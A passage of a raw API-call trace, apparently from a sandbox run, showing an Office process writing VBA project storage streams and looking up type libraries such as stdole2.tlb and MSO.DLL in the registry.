_Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792fc2 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792fc2 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792fea | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5790152 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d1001e | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5790152 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d1004a | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d10072 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d100a2 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5790152 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792fc2 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792fc2 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f12 | out: _Dst=0x66fcea0) returned 0x0 [0160.432] _i64toa_s (in: _Value=1, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="1") returned 0x0 [0160.432] strnlen (_Str="1", _MaxCount=0x18) returned 0x1 [0160.432] IMalloc:Alloc (This=0x7fefe465380, cb=0x2) returned 0x66551f0 [0160.432] _i64toa_s (in: _Value=1, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="1") returned 0x0 [0160.433] strnlen (_Str="1", _MaxCount=0x18) returned 0x1 [0160.433] IMalloc:Alloc (This=0x7fefe465380, cb=0x3) returned 0x66551f0 [0160.433] _i64toa_s (in: _Value=4, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="4") returned 0x0 [0160.433] strnlen (_Str="4", _MaxCount=0x18) returned 0x1 [0160.433] IMalloc:Alloc (This=0x7fefe465380, cb=0x3) returned 0x66551f0 [0160.433] _i64toa_s (in: _Value=3, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="3") returned 0x0 [0160.433] strnlen (_Str="3", _MaxCount=0x18) returned 0x1 [0160.433] IMalloc:Alloc (This=0x7fefe465380, cb=0x4) returned 0x66551f0 [0160.433] _i64toa_s (in: _Value=4, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="4") returned 0x0 [0160.433] strnlen (_Str="4", _MaxCount=0x18) returned 0x1 [0160.433] IMalloc:Alloc (This=0x7fefe465380, cb=0x3) returned 0x66551f0 [0160.433] _i64toa_s (in: _Value=1, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="1") returned 0x0 [0160.433] strnlen (_Str="1", _MaxCount=0x18) returned 0x1 [0160.433] IMalloc:Alloc (This=0x7fefe465380, cb=0x3) returned 0x66551f0 [0160.433] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792dfe | out: _Dst=0x66fcea0) returned 0x0 [0160.433] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f62 | out: _Dst=0x66fcea0) returned 0x0 [0160.433] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792ee2 | out: _Dst=0x66fcea0) returned 0x0 [0160.433] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d1001e | out: _Dst=0x66fcea0) returned 0x0 [0160.433] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792f92 | out: _Dst=0x66fcea0) returned 0x0 [0160.433] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d100a2 | out: _Dst=0x66fcea0) returned 0x0 [0160.433] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792fea | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d10072 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792eb2 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _i64toa_s (in: _Value=6, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="6") returned 0x0 [0160.434] strnlen (_Str="6", _MaxCount=0x18) returned 0x1 [0160.434] _i64toa_s (in: _Value=3, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="3") returned 0x0 [0160.434] strnlen (_Str="3", _MaxCount=0x18) returned 0x1 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792eb2 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792d86 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x57910ee | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792e82 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _i64toa_s (in: _Value=0, _Buffer=0x200690, _BufferCount=0x18, _Radix=10 | out: _Buffer="0") returned 0x0 [0160.434] strnlen (_Str="0", _MaxCount=0x18) returned 0x1 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d100ce | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d100f6 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5792e82 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] _mbscpy_s (in: _Dst=0x66fcea0, _DstSizeInBytes=0x400, _Src=0x5d100f6 | out: _Dst=0x66fcea0) returned 0x0 [0160.434] CExposedStream::Write () returned 0x0 [0160.434] CExposedStream::Commit () returned 0x0 [0160.471] CExposedStream::Release () returned 0x0 [0160.471] wcscpy_s (in: _Destination=0x200910, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0160.472] _ltow_s (in: _Value=2, _Buffer=0x20091c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="2") returned 0x0 [0160.472] CExposedDocFile::OpenStream () returned 0x80030002 [0160.472] CExposedDocFile::CreateStream () returned 0x0 [0160.472] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e7570 [0160.472] CExposedStream::AddRef () returned 0x2 [0160.472] CExposedStream::Release () returned 0x1 [0160.472] qsort (in: _Base=0x6800a70, _NumOfElements=0x15, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d17d20 | out: _Base=0x6800a70) [0160.474] CExposedStream::Write () returned 0x0 [0160.474] CExposedStream::Write () returned 0x0 [0160.474] CExposedStream::Write () returned 0x0 [0160.474] CExposedStream::Write () returned 0x0 [0160.474] CExposedStream::Write () returned 0x0 [0160.474] CExposedStream::Write () returned 0x0 [0160.474] CExposedStream::Write () returned 0x0 [0160.475] CExposedStream::Commit () returned 0x0 [0160.477] CExposedStream::Release () returned 0x0 [0160.477] IMalloc:Free (This=0x7fefe465380, pv=0x57e7570) [0160.477] wcscpy_s (in: _Destination=0x200910, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0160.477] _ltow_s (in: _Value=3, _Buffer=0x20091c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="3") returned 0x0 [0160.477] CExposedDocFile::OpenStream () returned 0x80030002 [0160.477] CExposedDocFile::CreateStream () returned 0x0 [0160.477] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e7570 [0160.477] CExposedStream::AddRef () returned 0x2 [0160.477] CExposedStream::Release () returned 0x1 [0160.478] CExposedStream::Write () returned 0x0 [0160.478] CExposedStream::Commit () returned 0x0 [0160.480] CExposedStream::Release () returned 0x0 [0160.480] IMalloc:Free (This=0x7fefe465380, pv=0x57e7570) [0160.480] CExposedDocFile::CreateStream () returned 0x0 [0160.480] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e7570 [0160.480] CExposedStream::AddRef () returned 0x2 [0160.480] CExposedStream::Release () returned 0x1 [0160.480] CExposedStream::Seek () returned 0x0 [0160.480] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x66551f0 [0160.480] CExposedStream::Seek () returned 0x0 [0160.481] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x66551d0 [0160.481] CExposedStream::Seek () returned 0x0 [0160.481] IMalloc:Alloc (This=0x7fefe465380, cb=0x0) returned 0x6655210 [0160.481] CExposedStream::Seek () returned 0x0 [0160.481] CExposedStream::Seek () returned 0x0 [0160.481] CExposedStream::Seek () returned 0x0 [0160.481] CExposedStream::Seek () returned 0x0 [0160.481] CExposedStream::Seek () returned 0x0 [0160.481] CExposedStream::Seek () returned 0x0 [0160.481] CExposedStream::Write () returned 0x0 [0160.481] CExposedStream::Seek () returned 0x0 [0160.482] CExposedStream::AddRef () returned 0x2 [0160.482] CExposedStream::Write () returned 0x0 [0160.482] CExposedStream::Release () returned 0x1 [0160.482] IMalloc:Free (This=0x7fefe465380, pv=0x57e7570) [0160.482] CExposedStream::Seek () returned 0x0 [0160.482] CExposedStream::AddRef () returned 0x2 [0160.482] CExposedStream::Write () returned 0x0 [0160.482] CExposedStream::Release () returned 0x1 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f3c0 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0745, _DstSizeInBytes=0x3eb, _Src=0x66551e0 | out: _Dst=0x7fee5fc0745) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f2d8 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0745, _DstSizeInBytes=0x3eb, _Src=0xb73c190 | out: _Dst=0x7fee5fc0745) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f478 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc074f, _DstSizeInBytes=0x3e1, _Src=0x7fee5f7ef58 | out: _Dst=0x7fee5fc074f) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f2f0 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0749, _DstSizeInBytes=0x3e7, _Src=0x7fee5f7ef58 | out: _Dst=0x7fee5fc0749) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f3c8 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc074d, _DstSizeInBytes=0x3e3, _Src=0x7fee5f7f21c | out: _Dst=0x7fee5fc074d) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f320 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0747, _DstSizeInBytes=0x3e9, _Src=0x7fee5f7f21c | out: _Dst=0x7fee5fc0747) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f3f0 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.482] _mbscpy_s (in: _Dst=0x7fee5fc074f, _DstSizeInBytes=0x3e1, _Src=0x7fee5f7ef58 | out: _Dst=0x7fee5fc074f) returned 0x0 [0160.483] _mbscpy_s (in: _Dst=0x7fee5fc0730, _DstSizeInBytes=0x400, _Src=0x7fee5f7f2c8 | out: _Dst=0x7fee5fc0730) returned 0x0 [0160.483] _mbscpy_s (in: _Dst=0x7fee5fc073a, _DstSizeInBytes=0x3f6, _Src=0x7fee5f7f300 | out: _Dst=0x7fee5fc073a) returned 0x0 [0160.483] _mbscpy_s (in: _Dst=0x7fee5fc074c, _DstSizeInBytes=0x3e4, _Src=0x7fee5f7f21c | out: _Dst=0x7fee5fc074c) returned 0x0 [0160.483] CExposedStream::Write () returned 0x0 [0160.483] CExposedStream::Commit () returned 0x0 [0160.485] CExposedStream::Release () returned 0x0 [0160.485] CExposedDocFile::CreateStream () returned 0x0 [0160.485] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e7570 [0160.485] CExposedStream::AddRef () returned 0x2 [0160.485] CExposedStream::Release () returned 0x1 [0160.485] CExposedStream::Write () returned 0x0 [0160.485] CExposedStream::Write () returned 0x0 [0160.485] CExposedStream::Write () returned 0x0 [0160.487] CExposedStream::Write () returned 0x0 [0160.487] CExposedStream::Commit () returned 0x0 [0160.492] CExposedDocFile::CreateStream () returned 0x0 [0160.492] CExposedStream::AddRef () returned 0x2 [0160.492] CExposedStream::Write () returned 0x0 [0160.492] CExposedStream::Release () returned 0x1 [0160.492] SysStringByteLen (bstr="") returned 0x0 [0160.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=0, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 0 [0160.492] SysStringByteLen (bstr="") returned 0x0 [0160.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb732448, cbMultiByte=1, lpWideCharStr=0xb735d78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0160.492] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x200800 | out: phkResult=0x200800*=0xb72) returned 0x0 [0160.493] RegOpenKeyW (in: hKey=0xb72, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0x2007f8 | out: phkResult=0x2007f8*=0xb82) returned 0x0 [0160.493] RegEnumKeyW (in: hKey=0xb82, dwIndex=0x0, lpName=0x200828, cchName=0xa | out: lpName="1.0") returned 0x0 [0160.493] RegEnumKeyW (in: hKey=0xb82, dwIndex=0x1, lpName=0x200828, cchName=0xa | out: lpName="2.0") returned 0x0 [0160.494] wcscpy_s (in: _Destination=0x200810, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0160.494] RegOpenKeyW (in: hKey=0xb82, lpSubKey="2.0", phkResult=0x2008b8 | out: phkResult=0x2008b8*=0xa2a) returned 0x0 [0160.494] _ultoa_s (in: _Val=0x0, _DstBuf=0x200830, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0160.494] RegOpenKeyA (in: hKey=0xa2a, lpSubKey="0", phkResult=0x200820 | out: phkResult=0x200820*=0x9fe) returned 0x0 [0160.494] RegOpenKeyW (in: hKey=0x9fe, lpSubKey="win64", phkResult=0x200828 | out: phkResult=0x200828*=0xa3a) returned 0x0 [0160.495] RegCloseKey (hKey=0xa3a) returned 0x0 [0160.495] RegCloseKey (hKey=0x9fe) returned 0x0 [0160.495] _ultow_s (in: _Value=0x0, _Buffer=0x2008c0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.495] RegOpenKeyW (in: hKey=0xa2a, lpSubKey="0", phkResult=0x200898 | out: phkResult=0x200898*=0x9fe) returned 0x0 [0160.495] RegQueryValueW (in: hKey=0x9fe, lpSubKey="win64", lpData=0x2008e0, lpcbData=0x200894 | out: lpData="C:\\Windows\\system32\\stdole2.tlb", lpcbData=0x200894) returned 0x0 [0160.496] wcscpy_s (in: _Destination=0x200b60, _SizeInWords=0x104, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0160.496] RegCloseKey (hKey=0x9fe) returned 0x0 [0160.497] RegCloseKey (hKey=0xa2a) returned 0x0 [0160.497] RegCloseKey (hKey=0xb82) returned 0x0 [0160.497] RegCloseKey (hKey=0xb72) returned 0x0 [0160.497] ITypeLib:RemoteGetDocumentation (in: This=0x679c120, index=-1, refPtrFlags=0x200f30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0160.497] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0x200800 | out: phkResult=0x200800*=0xb72) returned 0x0 [0160.498] RegOpenKeyW (in: hKey=0xb72, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0x2007f8 | out: phkResult=0x2007f8*=0xa2a) returned 0x0 [0160.498] RegEnumKeyW (in: hKey=0xa2a, dwIndex=0x0, lpName=0x200828, cchName=0xa | out: lpName="2.6") returned 0x0 [0160.499] RegEnumKeyW (in: hKey=0xa2a, dwIndex=0x1, lpName=0x200828, cchName=0xa | out: lpName="2.7") returned 0x0 [0160.499] RegEnumKeyW (in: hKey=0xa2a, dwIndex=0x2, lpName=0x200828, cchName=0xa | out: lpName="2.8") returned 0x0 [0160.499] wcscpy_s (in: _Destination=0x200810, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0160.499] RegOpenKeyW (in: hKey=0xa2a, lpSubKey="2.8", phkResult=0x2008b8 | out: phkResult=0x2008b8*=0xa3a) returned 0x0 [0160.499] _ultoa_s (in: _Val=0x0, _DstBuf=0x200830, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0160.499] RegOpenKeyA (in: hKey=0xa3a, lpSubKey="0", phkResult=0x200820 | out: phkResult=0x200820*=0x8ae) returned 0x0 [0160.500] RegOpenKeyW (in: hKey=0x8ae, lpSubKey="win64", phkResult=0x200828 | out: phkResult=0x200828*=0xbbe) returned 0x0 [0160.500] RegCloseKey (hKey=0xbbe) returned 0x0 [0160.501] RegCloseKey (hKey=0x8ae) returned 0x0 [0160.501] _ultow_s (in: _Value=0x0, _Buffer=0x2008c0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.501] RegOpenKeyW (in: hKey=0xa3a, lpSubKey="0", phkResult=0x200898 | out: phkResult=0x200898*=0xe82) returned 0x0 [0160.501] RegQueryValueW (in: hKey=0xe82, lpSubKey="win64", lpData=0x2008e0, lpcbData=0x200894 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x200894) returned 0x0 [0160.502] wcscpy_s (in: _Destination=0x200b60, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0160.502] RegCloseKey (hKey=0xe82) returned 0x0 [0160.502] RegCloseKey (hKey=0xa3a) returned 0x0 [0160.502] RegCloseKey (hKey=0xa2a) returned 0x0 [0160.502] RegCloseKey (hKey=0xb72) returned 0x0 [0160.503] ITypeLib:RemoteGetDocumentation (in: This=0x679c6c0, index=-1, refPtrFlags=0x200f30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0160.503] IMalloc:Alloc (This=0x7fefe465380, cb=0x80) returned 0xb996fb0 [0160.503] _ultow_s (in: _Value=0x2, _Buffer=0x200caa, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0160.503] _ultow_s (in: _Value=0x0, _Buffer=0x200cae, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.503] _ultow_s (in: _Value=0x0, _Buffer=0x200cb2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.503] wcscpy_s (in: _Destination=0xb9b1978, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0160.503] wcscpy_s (in: _Destination=0xb9b197e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0160.503] wcscpy_s (in: _Destination=0xb9b19ca, _SizeInWords=0x6c, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0160.503] wcscpy_s (in: _Destination=0xb9b19d8, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0160.503] wcscpy_s (in: _Destination=0xb9b1a58, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0160.503] IMalloc:Free (This=0x7fefe465380, pv=0xb996fb0) [0160.503] CExposedStream::Write () returned 0x0 [0160.503] CExposedStream::Release () returned 0x0 [0160.503] CExposedStream::Release () returned 0x0 [0160.503] IMalloc:Free (This=0x7fefe465380, pv=0x57e7570) [0160.504] wcscpy_s (in: _Destination=0x200f50, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0160.504] _ltow_s (in: _Value=0, _Buffer=0x200f5c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0160.504] CExposedDocFile::OpenStream () returned 0x80030002 [0160.504] CExposedDocFile::CreateStream () returned 0x0 [0160.504] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e7570 [0160.504] CExposedStream::AddRef () returned 0x2 [0160.504] CExposedStream::Release () returned 0x1 [0160.504] CExposedStream::Write () returned 0x0 [0160.504] CExposedStream::Write () returned 0x0 [0160.504] CExposedStream::Write () returned 0x0 [0160.504] CExposedStream::Write () returned 0x0 [0160.504] CExposedStream::Write () returned 0x0 [0160.504] CExposedStream::Commit () returned 0x0 [0160.507] CExposedStream::Release () returned 0x0 [0160.507] IMalloc:Free (This=0x7fefe465380, pv=0x57e7570) [0160.507] wcscpy_s (in: _Destination=0x200f00, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0160.507] _ltow_s (in: _Value=1, _Buffer=0x200f0c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="1") returned 0x0 [0160.507] CExposedDocFile::OpenStream () returned 0x80030002 [0160.507] CExposedDocFile::CreateStream () returned 0x0 [0160.507] IMalloc:Alloc (This=0x7fefe465380, cb=0x420) returned 0x57e7570 [0160.507] CExposedStream::AddRef () returned 0x2 [0160.507] CExposedStream::Release () returned 0x1 [0160.507] CExposedStream::Write () returned 0x0 [0160.507] CExposedStream::Commit () returned 0x0 [0160.509] CExposedStream::Release () returned 0x0 [0160.509] IMalloc:Free (This=0x7fefe465380, pv=0x57e7570) [0160.509] IMalloc:Free (This=0x7fefe465380, pv=0xbbaedb0) [0160.509] IMalloc:Free (This=0x7fefe465380, pv=0x637caf0) [0160.509] CExposedDocFile::Release () returned 0x0 [0160.509] CExposedDocFile::CreateStream () returned 0x0 [0160.509] CExposedStream::Write () returned 0x0 [0160.509] CExposedStream::Write () returned 0x0 [0160.509] CExposedStream::Write () returned 0x0 [0160.509] CExposedStream::Write () returned 0x0 [0160.509] CExposedStream::Write () returned 0x0 [0160.509] CExposedStream::Seek () returned 0x0 [0160.509] CExposedStream::SetSize () returned 0x0 [0160.509] CExposedStream::Release () returned 0x0 [0160.510] lstrcpyA (in: lpString1=0x5ceb04c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0160.510] CExposedDocFile::Stat () returned 0x0 [0160.510] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5ceb04c, cbMultiByte=-1, lpWideCharStr=0x2015e0, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0160.510] CExposedDocFile::CreateStream () returned 0x0 [0160.510] CExposedDocFile::AddRef () returned 0x2 [0160.510] wsprintfA (in: param_1=0x200e80, param_2="%s=\"" | out: param_1="ID=\"") returned 4 [0160.510] lstrcatA (in: lpString1="ID=\"", lpString2="{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}" | out: lpString1="ID=\"{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}") returned="ID=\"{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}" [0160.510] lstrcatA (in: lpString1="ID=\"{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}", lpString2="\"\r\n" | out: lpString1="ID=\"{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}\"\r\n") returned="ID=\"{60BF4DAE-E3E2-455A-9F10-1EE0B183F45B}\"\r\n" [0160.510] 